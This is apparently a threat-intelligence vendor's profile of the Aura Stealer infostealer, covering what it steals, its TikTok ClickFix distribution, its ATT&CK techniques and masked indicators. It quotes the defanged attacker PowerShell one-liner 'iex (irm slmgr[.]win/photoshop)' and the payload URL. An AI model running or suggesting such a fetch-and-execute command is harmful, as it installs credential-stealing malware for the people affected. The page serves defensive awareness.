Skip to main content
Live Webinar with SANS (June 25)— Agentic CTI Automation for Fun & ProfitRegister Free
Mallory
Back to malware
Malware

Aura Stealer

Aura Stealer is an information-stealing malware family first observed in 2025, with reporting in the provided content placing initial observation in July 2025 and separate identification in September 2025. It is marketed as a low-cost stealer and advertised with Telegram bot integration, configurable options, and ongoing updates, including claimed support for decrypting data from newer Chromium-based browser versions. Reported capabilities include theft of saved browser credentials, authentication cookies, cryptocurrency wallet data, and credentials or session data from other applications. The content also states it targets Chromium-based browsers and that operators advertised improved decryption support for Chrome/Chromium version 144+.

Behaviorally, Aura Stealer has been reported to inject into explorer.exe, retrieve Base64-encoded configuration data from its command-and-control infrastructure, perform theft actions according to that configuration, and Base64-encode collected data before exfiltration. AhnLab reporting in the provided content states it attempts to contact three C2 domains sequentially for redundancy and uses specific API endpoints. Distribution observed in the content includes fake cracks and keygens delivered through SEO poisoning, posts on legitimate websites, forums, community platforms, and social media, as well as ClickFix-style social engineering. One highlighted campaign used viral TikTok videos posing as activation guides for Windows, Microsoft 365, Photoshop, Spotify Premium, and other software/services; victims were instructed to run PowerShell such as iex (irm slmgr[.]win/photoshop), which fetched a script that downloaded updater.exe from file-epq[.]pages[.]dev, identified as an Aura Stealer variant.

The malware is associated in the content with broader infostealer activity rather than a named intrusion set. It was among the most distributed infostealers in ASEC's November 2025 reporting, alongside ACRStealer, LummaC2, and Rhadamanthys, and its distribution reportedly increased significantly from October 2025 onward. The content also notes use in ClickFix campaigns affecting sectors broadly targeted by that technique, though no Aura-specific industry targeting is directly established. High-confidence observables directly mentioned in the content include slmgr[.]win and file-epq[.]pages[.]dev/updater.exe.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

MITRE ATT&CK

Techniques & procedures

9 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

3 techniques
T1059.001PowerShellEvidence1

Each video displays a short one-line command and tells viewers to run it as an administrator in PowerShell: iex (irm slmgr[.]win/photoshop)

T1127.001MSBuildEvidence1

Mertens says that an additional payload will be downloaded, named source.exe, which is used to self-compile code using .NET's built-in Visual C# Compiler (csc.exe).

T1204User ExecutionEvidence1

The videos are performing a ClickFix attack, which is a social engineering technique that provides what appears to be legitimate "fixes" or instructions that trick users into executing malicious PowerShell commands or other scripts that infect their computers with malware.

Privilege Escalation

1 technique
T1055Process InjectionEvidence1

This code is then injected and launched in memory.

Stealth

3 techniques
T1027Obfuscated Files or InformationEvidence1

"a bug with compile-time hashing of winapi names, which caused some strings to remain in the binary"

T1055Process InjectionEvidence1

This code is then injected and launched in memory.

T1127.001MSBuildEvidence1

Mertens says that an additional payload will be downloaded, named source.exe, which is used to self-compile code using .NET's built-in Visual C# Compiler (csc.exe).

Credential Access

3 techniques
T1539Steal Web Session CookieEvidence2

Aura Stealer collects saved credentials from browsers, authentication cookies, cryptocurrency wallets, and credentials from other applications and uploads them to the attackers, giving them access to your accounts.

T1555Credentials from Password StoresEvidence1

Aura Stealer collects saved credentials from browsers, authentication cookies, cryptocurrency wallets, and credentials from other applications and uploads them to the attackers, giving them access to your accounts.

T1555.003Credentials from Web BrowsersEvidence1

"Improved decryption of the latest versions of Chromium-based browsers (144+)... Now different versions of Chrome (before 143 / after 144) are decrypted with different elevators, and the method is selected dynamically"; and "listings typically include browser passwords, cookies, and session tokens."

Command and Control

1 technique
T1105Ingress Tool TransferEvidence1

This script downloads two executables from Cloudflare pages, with the first executable downloaded from https://file-epq[.]pages[.]dev/updater.exe. This executable is a variant of the Aura Stealer info-stealing malware.

INDICATORS OF COMPROMISE

IOCs tracked for this family

20 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
15 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
1 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
4 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app3 months ago
domain●●●●●●●●●●●●View more in app3 months ago
domain●●●●●●●●●●●●View more in app3 months ago
domain●●●●●●●●●●●●View more in app3 months ago
domain●●●●●●●●●●●●View more in app3 months ago
domain●●●●●●●●●●●●View more in app3 months ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching20

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping9

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.